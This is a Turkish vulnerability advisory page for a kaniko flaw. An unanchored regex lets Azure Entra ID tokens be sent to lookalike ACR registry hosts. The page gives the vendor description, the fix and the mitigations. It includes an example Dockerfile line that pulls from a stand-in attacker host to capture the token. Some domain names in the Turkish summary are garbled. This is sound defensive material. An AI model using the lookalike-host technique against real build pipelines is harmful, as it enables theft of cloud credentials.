Zafiyet.live Keşfet. Değerlendir. Düzelt. Doğrula.
Menü
  • Yama var
  • Son 7 gün
  • CWE-346
  • CWE-522

CVE-2026-105769

kaniko: Azure erişim belirteci kötü niyetli ACR benzeri kayıt sunucularına gönderilebiliyor

chainguard kaniko

Kritik 9,3 CVSS 3.1
Yayımlandı
Güncellendi
2 Kas 2026
Açık yaşı
0 gün
Kaydı açan
chainguard

Yönetici özeti

Bu açık, derleme ortamında kullanılan bulut hesabının yetkilerinin üçüncü taraflarca ele geçirilmesine yol açabilir ve sıradan bir imaj çekme işlemiyle tetiklenebilir. Bu nedenle etkilenen kaniko sürümlerini olabildiğince hızlı güncellemek gerekir.

ÖzetTürkçe

kaniko, 1.25.20 öncesi sürümlerde Azure Resource Manager için alınmış bir Microsoft Entra ID (Azure AD) erişim belirtecini saldırgan kontrolündeki bir kayıt sunucusuna gönderebilir. Kayıt sunucusu olup olmadığını belirleyen düzenli ifade çapa kullanmadığı için, adında ., ., . veya . geçen her ana bilgisayar ACR kabul ediliyor. Bu durum, Azure kimliğiyle derleme yapan kaniko kullanıcılarını etkiler.

Saldırgan ne yapabilir?

Bir Dockerfile'da benzer bir ana bilgisayardan imaj çekilmesi yeterli olduğunda saldırgan, kimliğin Azure Resource Manager üzerindeki rol atamaları kapsamında işlem yapabilecek bir belirteç elde edebilir. Bu belirteç, kimliğin erişebildiği ACR kayıt sunucularına ait kimlik bilgilerine de dönüştürülebilir.

Kaynaktaki açıklama (İngilizce)

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Üreticinin çözüm notu (İngilizce)

Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.

Üreticinin geçici önlemi (İngilizce)

Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.

Ne yapmalı?

  1. kaniko'yu 1.25.20 veya daha yeni bir sürüme yükseltin. Depo ikili dosya veya imaj yayınlamadığı için executor, warmer ve docker-credential-acr-env bileşenlerini 1.25.20 veya daha yeni bir sürümden yeniden derleyin. Üretici
  2. Yama yapılana kadar güvenilmeyen derlemelerin Azure kimliğine erişmesini engelleyin: derleme ortamından Azure kimlik bilgilerini, federe belirteçleri ve MSI_ENDPOINT ile MSI_SECRET değişkenlerini kaldırın ve derleme podlarının 169.254.169.254 Instance Metadata Service adresine erişimini engelleyin. Üretici
  3. Yerleşik ACR kimlik doğrulaması gerekmiyorsa kaniko konteynerinde AZURE_ENVIRONMENT değişkenini hiçbir Azure bulutunu adlandırmayan bir değere ayarlayın (örneğin none). config.json dosyasında credsStore değeri acr-env ise bunu, kendi ACR kayıt sunucularınız için host bazlı credHelpers girdileriyle değiştirin. Üretici
  4. Azure kimliğinin mevcut olduduğu ortamda güvenilmeyen Dockerfile'lar derlenmişse, o derlemeler sırasında bu kimliğe verilmiş erişim belirteçlerini ele geçirilmiş sayın; Entra ID oturum açma günlüklerini ve Azure etkinlik günlüklerini inceleyin ve kimliğin Azure Resource Manager üzerinden okuyabildiği gizli bilgileri döndürün. Genel öneri

Ek önlemler

  • Derleme ortamlarını yalnızca güvenilir Dockerfile'larla çalıştırın ve harici kaynaklı imaj referanslarını derleme öncesinde denetleyin. Genel öneri
  • Derleme kimliklerine en az yetki prensibini uygulayın; kimliğin rol atamalarını ve kapsamını olabildiğince daraltın. Genel öneri
  • Entra ID ve Azure etkinlik günlüklerini beklenmedik token kullanımı ve olağandışı kaynak erişimi açısından izleyin. Genel öneri

Bu açık kişisel verilerin sızmasına yol açabilir. Sistemlerinizde kullanıldığından şüpheleniyorsanız KVKK'daki ihlal bildirimi yükümlülüğünüzü (Kurul'a 72 saat içinde bildirim) hukuk danışmanınızla birlikte değerlendirin. Bu not hukuki tavsiye değildir.

Etkilenen sürümler1 yazılım

YazılımEtkilenenDüzeltildiği sürüm
chainguard kaniko < 1.25.20 1.25.20

Kaynaklar7 kaynak

Kayıt geçmişi

  1. Etkilenen sürüm bilgisi güncellendi
  2. Yayımlandı

İlgili açıklar

Türkçe metin, resmi kayıtlardaki bilgilerle yapay zekâ yardımıyla yazıldı ve yayından önce otomatik kontrollerden geçti. Bir değişikliği uygulamadan önce üreticinin duyurusuna mutlaka bakın.